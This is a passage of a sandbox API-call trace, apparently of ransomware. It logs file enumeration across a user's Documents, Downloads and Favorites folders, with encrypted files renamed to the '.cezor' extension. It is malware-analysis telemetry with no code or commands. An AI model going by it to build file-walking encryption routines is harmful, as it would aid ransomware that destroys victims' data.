ftLastAccessTime.dwLowDateTime=0x50da0080, ftLastAccessTime.dwHighDateTime=0x1d520a3, ftLastWriteTime.dwLowDateTime=0x143dedb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x17113, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k0bYHnrNfY0Z01.docx.cezor", cAlternateFileName="K0BYHN~1.CEZ")) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\k0bYHnrNfY0Z01.docx.cezor") returned=".cezor" [0122.667] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802ba5a0, ftCreationTime.dwHighDateTime=0x1d51734, ftLastAccessTime.dwLowDateTime=0x142ddd30, ftLastAccessTime.dwHighDateTime=0x1d4fedb, ftLastWriteTime.dwLowDateTime=0x14404f10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xfa24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kbQLv1HzRjuGX8_0 ow.pptx.cezor", cAlternateFileName="KBQLV1~1.CEZ")) returned 1 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.667] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kbQLv1HzRjuGX8_0 ow.pptx.cezor") returned=".cezor" [0122.667] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4266ff0, ftCreationTime.dwHighDateTime=0x1d4c081, ftLastAccessTime.dwLowDateTime=0xb9ad4960, ftLastAccessTime.dwHighDateTime=0x1d4e01a, ftLastWriteTime.dwLowDateTime=0x14404f10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x567a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M0viuAr.pptx.cezor", cAlternateFileName="M0VIUA~1.CEZ")) returned 1 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.667] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M0viuAr.pptx.cezor") returned=".cezor" [0122.667] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed365f00, ftCreationTime.dwHighDateTime=0x1d4ca68, ftLastAccessTime.dwLowDateTime=0xb22aced0, ftLastAccessTime.dwHighDateTime=0x1d4ce5c, ftLastWriteTime.dwLowDateTime=0x1442b070, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x25c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJD0Lk7dF2uj7fNWL.doc.cezor", cAlternateFileName="MJD0LK~1.CEZ")) returned 1 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.667] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mJD0Lk7dF2uj7fNWL.doc.cezor") returned=".cezor" [0122.667] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fdeb90, ftCreationTime.dwHighDateTime=0x1d52d45, ftLastAccessTime.dwLowDateTime=0x51fc99f0, ftLastAccessTime.dwHighDateTime=0x1d50bdb, ftLastWriteTime.dwLowDateTime=0x1442b070, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x12893, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpW-3B9.xlsx.cezor", cAlternateFileName="MPW-3B~1.CEZ")) returned 1 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.667] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpW-3B9.xlsx.cezor") returned=".cezor" [0122.667] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006ed8 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfc) returned 0x2fefeb8 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53638 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3007040 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3007220 [0122.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.667] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006ed8 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006de8 [0122.668] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x149861f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x149861f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006ed8 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x30071a8 [0122.668] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006ed8 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16c) returned 0x6aabb8 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307da88 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307daf0 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307de30 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3007130 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x30070b8 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f280 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006c80 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006d70 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006b90 [0122.668] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c9e9590, ftCreationTime.dwHighDateTime=0x1d52600, ftLastAccessTime.dwLowDateTime=0x618a1d10, ftLastAccessTime.dwHighDateTime=0x1d52eb4, ftLastWriteTime.dwLowDateTime=0x144511d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1403b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NU9iOZGfDM.xlsx.cezor", cAlternateFileName="NU9IOZ~1.CEZ")) returned 1 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NU9iOZGfDM.xlsx.cezor") returned=".cezor" [0122.668] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24a4c40, ftCreationTime.dwHighDateTime=0x1d52b93, ftLastAccessTime.dwLowDateTime=0x2c400e40, ftLastAccessTime.dwHighDateTime=0x1d4e4c6, ftLastWriteTime.dwLowDateTime=0x144511d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xc5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ol37DpMB ADCzniH6.docx.cezor", cAlternateFileName="OL37DP~1.CEZ")) returned 1 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ol37DpMB ADCzniH6.docx.cezor") returned=".cezor" [0122.668] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5289530, ftCreationTime.dwHighDateTime=0x1d4c6d2, ftLastAccessTime.dwLowDateTime=0x27b31200, ftLastAccessTime.dwHighDateTime=0x1d4cf4f, ftLastWriteTime.dwLowDateTime=0x14477330, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x61a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OlNTdQSKj.csv.cezor", cAlternateFileName="OLNTDQ~1.CEZ")) returned 1 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.669] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OlNTdQSKj.csv.cezor") returned=".cezor" [0122.669] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x14a90b90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14a90b90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006ed8 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006de8 [0122.669] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a9ba60, ftCreationTime.dwHighDateTime=0x1d5212b, ftLastAccessTime.dwLowDateTime=0xc1bdc00, ftLastAccessTime.dwHighDateTime=0x1d4c58d, ftLastWriteTime.dwLowDateTime=0x14477330, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x3b44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rMkTON600uD2.docx.cezor", cAlternateFileName="RMKTON~1.CEZ")) returned 1 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.669] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMkTON600uD2.docx.cezor") returned=".cezor" [0122.669] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21e48a10, ftCreationTime.dwHighDateTime=0x1d4b56f, ftLastAccessTime.dwLowDateTime=0x3b6931a0, ftLastAccessTime.dwHighDateTime=0x1d4b49a, ftLastWriteTime.dwLowDateTime=0x1449d490, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x138f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="umnYAxK8Hd5gj.pptx.cezor", cAlternateFileName="UMNYAX~1.CEZ")) returned 1 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.669] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\umnYAxK8Hd5gj.pptx.cezor") returned=".cezor" [0122.669] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0410650, ftCreationTime.dwHighDateTime=0x1d4face, ftLastAccessTime.dwLowDateTime=0x5fdd3540, ftLastAccessTime.dwHighDateTime=0x1d528b2, ftLastWriteTime.dwLowDateTime=0x1449d490, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xdc86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yBWTsx0.xlsx.cezor", cAlternateFileName="YBWTSX~1.CEZ")) returned 1 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.669] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yBWTsx0.xlsx.cezor") returned=".cezor" [0122.669] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2db420, ftCreationTime.dwHighDateTime=0x1d4d46f, ftLastAccessTime.dwLowDateTime=0x2d4522c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3c, ftLastWriteTime.dwLowDateTime=0x144c35f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x8de5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yNFdhsIRJWbx9.pptx.cezor", cAlternateFileName="YNFDHS~1.CEZ")) returned 1 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x307db58 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.669] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yNFdhsIRJWbx9.pptx.cezor") returned=".cezor" [0122.669] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0x14b02fb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b02fb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yw9G-4_B", cAlternateFileName="")) returned 1 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006ed8 [0122.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006fc8 [0122.670] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0x14b02fb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b02fb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yw9G-4_B", cAlternateFileName="")) returned 0 [0122.670] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.670] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53708 [0122.670] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53638 [0122.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0122.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188b0 [0122.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.670] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.670] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.670] PathFindFileNameW (pszPath="") returned="" [0122.670] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.670] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.670] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.670] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0122.670] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0122.670] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.671] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.671] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.671] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.671] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.671] PathFindFileNameW (pszPath="") returned="" [0122.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.671] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.671] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.671] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0122.671] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14b4f270, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b4f270, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0122.671] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14bc1690, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14bc1690, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0122.671] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14c59c10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14c59c10, ftLastWriteTime.dwHighDateTime=0x1d53559, 